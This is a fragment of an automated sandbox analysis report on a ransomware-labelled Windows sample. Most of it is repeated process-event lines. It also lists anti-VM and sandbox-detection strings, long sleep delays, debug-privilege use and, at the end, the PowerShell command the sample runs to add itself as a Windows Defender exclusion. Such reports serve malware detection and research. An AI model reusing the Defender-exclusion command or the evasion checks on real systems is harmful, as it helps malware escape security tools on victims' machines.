                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                    Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exeProcess information set: NOOPENFILEERRORBOX
                    Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exeProcess information set: NOOPENFILEERRORBOX
                    Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exeProcess information set: NOOPENFILEERRORBOX
                    Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exeProcess information set: NOOPENFILEERRORBOX
                    Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exeProcess information set: NOOPENFILEERRORBOX
                    Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exeProcess information set: NOOPENFILEERRORBOX
                    Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exeProcess information set: NOOPENFILEERRORBOX
                    Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exeProcess information set: NOOPENFILEERRORBOX
                    Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exeProcess information set: NOOPENFILEERRORBOX
                    Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exeProcess information set: NOOPENFILEERRORBOX
                    Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exeProcess information set: NOOPENFILEERRORBOX
                    Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exeProcess information set: NOOPENFILEERRORBOX
                    Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exeProcess information set: NOOPENFILEERRORBOX
                    Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exeProcess information set: NOOPENFILEERRORBOX
                    Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exeProcess information set: NOOPENFILEERRORBOX
                    Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exeProcess information set: NOOPENFILEERRORBOX
                    Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exeProcess information set: NOOPENFILEERRORBOX
                    Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exeProcess information set: NOOPENFILEERRORBOX
                    Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exeProcess information set: NOOPENFILEERRORBOX
                    Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exeProcess information set: NOOPENFILEERRORBOX
                    Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exeProcess information set: NOOPENFILEERRORBOX
                    Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exeProcess information set: NOOPENFILEERRORBOX
                    Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exeProcess information set: NOOPENFILEERRORBOX
                    Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exeProcess information set: NOOPENFILEERRORBOX
                    Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exeProcess information set: NOOPENFILEERRORBOX
                    Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exeProcess information set: NOOPENFILEERRORBOX
                    Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exeProcess information set: NOOPENFILEERRORBOX
                    Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exeProcess information set: NOOPENFILEERRORBOX
                    Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exeProcess information set: NOOPENFILEERRORBOX
                    Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exeProcess information set: NOOPENFILEERRORBOX
                    Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exeProcess information set: NOOPENFILEERRORBOX
                    Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exeProcess information set: NOOPENFILEERRORBOX
                    Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exeProcess information set: NOOPENFILEERRORBOX
                    Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exeProcess information set: NOOPENFILEERRORBOX
                    Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exeProcess information set: NOOPENFILEERRORBOX
                    Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exeProcess information set: NOOPENFILEERRORBOX
                    Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exeProcess information set: NOOPENFILEERRORBOX
                    Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exeProcess information set: NOOPENFILEERRORBOX
                    Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exeProcess information set: NOOPENFILEERRORBOX
                    Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exeProcess information set: NOOPENFILEERRORBOX
                    Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exeProcess information set: NOOPENFILEERRORBOX
                    Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exeProcess information set: NOOPENFILEERRORBOX
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX

                    Malware Analysis System Evasion

                    barindex
                    Yara detected AntiVM3
                    Source: Yara matchFile source: Process Memory Space: SecuriteInfo.com.Win32.RansomX-gen.10689.14408.exe PID: 6664, type: MEMORYSTR
                    Source: Yara matchFile source: Process Memory Space: daqfbrlrs.exe PID: 2488, type: MEMORYSTR
                    Source: Yara matchFile source: Process Memory Space: daqfbrlrs.exe PID: 6776, type: MEMORYSTR
                    Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)
                    Source: SecuriteInfo.com.Win32.RansomX-gen.10689.14408.exe, 00000000.00000002.1991317996.0000000003247000.00000004.00000800.00020000.00000000.sdmp, daqfbrlrs.exe, 0000000A.00000002.2466687008.0000000003027000.00000004.00000800.00020000.00000000.sdmp, daqfbrlrs.exe, 0000000D.00000002.2554540962.00000000035D1000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: SBIEDLL.DLL0SELECT * FROM WIN32_BIOS8UNEXPECTED WMI QUERY FAILURE
                    Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.RansomX-gen.10689.14408.exeMemory allocated: 2E90000 memory reserve | memory write watchJump to behavior
                    Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.RansomX-gen.10689.14408.exeMemory allocated: 30F0000 memory reserve | memory write watchJump to behavior
                    Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.RansomX-gen.10689.14408.exeMemory allocated: 3020000 memory reserve | memory write watchJump to behavior
                    Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.RansomX-gen.10689.14408.exeMemory allocated: 6FB0000 memory reserve | memory write watchJump to behavior
                    Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.RansomX-gen.10689.14408.exeMemory allocated: 6D30000 memory reserve | memory write watchJump to behavior
                    Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.RansomX-gen.10689.14408.exeMemory allocated: 2CB0000 memory reserve | memory write watchJump to behavior
                    Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.RansomX-gen.10689.14408.exeMemory allocated: 2EC0000 memory reserve | memory write watchJump to behavior
                    Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.RansomX-gen.10689.14408.exeMemory allocated: 2CE0000 memory reserve | memory write watchJump to behavior
                    Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exeMemory allocated: 2D30000 memory reserve | memory write watchJump to behavior
                    Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exeMemory allocated: 2ED0000 memory reserve | memory write watchJump to behavior
                    Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exeMemory allocated: 4ED0000 memory reserve | memory write watchJump to behavior
                    Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exeMemory allocated: 6E70000 memory reserve | memory write watchJump to behavior
                    Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exeMemory allocated: 6540000 memory reserve | memory write watchJump to behavior
                    Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exeMemory allocated: 3110000 memory reserve | memory write watch
                    Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exeMemory allocated: 3370000 memory reserve | memory write watch
                    Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exeMemory allocated: 3110000 memory reserve | memory write watch
                    Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exeMemory allocated: 7230000 memory reserve | memory write watch
                    Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exeMemory allocated: 6FB0000 memory reserve | memory write watch
                    Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exeMemory allocated: 12A0000 memory reserve | memory write watch
                    Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exeMemory allocated: 2E20000 memory reserve | memory write watch
                    Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exeMemory allocated: 2B90000 memory reserve | memory write watch
                    Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exeMemory allocated: B20000 memory reserve | memory write watch
                    Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exeMemory allocated: 2610000 memory reserve | memory write watch
                    Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exeMemory allocated: B60000 memory reserve | memory write watch
                    Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.RansomX-gen.10689.14408.exeThread delayed: delay time: 922337203685477Jump to behavior
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477Jump to behavior
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477Jump to behavior
                    Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exeThread delayed: delay time: 922337203685477Jump to behavior
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
                    Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exeThread delayed: delay time: 922337203685477
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
                    Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exeThread delayed: delay time: 922337203685477
                    Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exeThread delayed: delay time: 922337203685477
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeWindow / User API: threadDelayed 7568Jump to behavior
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeWindow / User API: threadDelayed 2087Jump to behavior
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeWindow / User API: threadDelayed 6977Jump to behavior
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeWindow / User API: threadDelayed 2771Jump to behavior
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeWindow / User API: threadDelayed 8071
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeWindow / User API: threadDelayed 1641
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeWindow / User API: threadDelayed 7349
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeWindow / User API: threadDelayed 2360
                    Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.RansomX-gen.10689.14408.exe TID: 6684Thread sleep time: -30000s >= -30000sJump to behavior
                    Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.RansomX-gen.10689.14408.exe TID: 6756Thread sleep time: -30000s >= -30000sJump to behavior
                    Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.RansomX-gen.10689.14408.exe TID: 6744Thread sleep time: -922337203685477s >= -30000sJump to behavior
                    Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.RansomX-gen.10689.14408.exe TID: 1904Thread sleep time: -58000s >= -30000sJump to behavior
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 4928Thread sleep time: -4611686018427385s >= -30000sJump to behavior
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 6884Thread sleep count: 6977 > 30Jump to behavior
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 6884Thread sleep count: 2771 > 30Jump to behavior
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 2180Thread sleep time: -5534023222112862s >= -30000sJump to behavior
                    Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exe TID: 1004Thread sleep time: -30000s >= -30000sJump to behavior
                    Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exe TID: 5696Thread sleep time: -922337203685477s >= -30000sJump to behavior
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 7112Thread sleep time: -1844674407370954s >= -30000s
                    Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exe TID: 6684Thread sleep time: -922337203685477s >= -30000s
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 1364Thread sleep time: -2767011611056431s >= -30000s
                    Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exe TID: 4600Thread sleep time: -922337203685477s >= -30000s
                    Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exe TID: 4076Thread sleep time: -922337203685477s >= -30000s
                    Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.RansomX-gen.10689.14408.exeLast function: Thread delayed
                    Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.RansomX-gen.10689.14408.exeFile Volume queried: C:\ FullSizeInformationJump to behavior
                    Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exeFile Volume queried: C:\ FullSizeInformation
                    Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exeFile Volume queried: C:\ FullSizeInformation
                    Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.RansomX-gen.10689.14408.exeThread delayed: delay time: 922337203685477Jump to behavior
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477Jump to behavior
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477Jump to behavior
                    Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exeThread delayed: delay time: 922337203685477Jump to behavior
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
                    Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exeThread delayed: delay time: 922337203685477
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
                    Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exeThread delayed: delay time: 922337203685477
                    Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exeThread delayed: delay time: 922337203685477
                    Source: daqfbrlrs.exe, 0000000D.00000002.2554540962.00000000035D1000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: SerialNumber0VMware|VIRTUAL|A M I|XenDselect * from Win32_ComputerSystem
                    Source: daqfbrlrs.exe, 0000000A.00000002.2463239234.0000000001192000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll%
                    Source: daqfbrlrs.exe, 0000000D.00000002.2554540962.00000000035D1000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: model0Microsoft|VMWare|Virtual
                    Source: SecuriteInfo.com.Win32.RansomX-gen.10689.14408.exe, 00000000.00000002.1990879497.00000000014E2000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.RansomX-gen.10689.14408.exe, 00000004.00000002.2889790795.0000000000FEA000.00000004.00000020.00020000.00000000.sdmp, daqfbrlrs.exe, 0000000D.00000002.2547245552.0000000001425000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll
                    Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.RansomX-gen.10689.14408.exeProcess information queried: ProcessInformationJump to behavior
                    Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.RansomX-gen.10689.14408.exeProcess token adjusted: DebugJump to behavior
                    Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.RansomX-gen.10689.14408.exeProcess token adjusted: DebugJump to behavior
                    Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.RansomX-gen.10689.14408.exeProcess token adjusted: DebugJump to behavior
                    Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.RansomX-gen.10689.14408.exeProcess token adjusted: DebugJump to behavior
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess token adjusted: DebugJump to behavior
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess token adjusted: DebugJump to behavior
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess token adjusted: Debug
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess token adjusted: Debug
                    Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.RansomX-gen.10689.14408.exeMemory allocated: page read and write | page guardJump to behavior

                    HIPS / PFW / Operating System Protection Evasion

                    barindex
                    Adds a directory exclusion to Windows Defender
                    Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.RansomX-gen.10689.14408.exeProcess created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\user\Desktop\SecuriteInfo.com.Win32.RansomX-gen.10689.14408.exe'
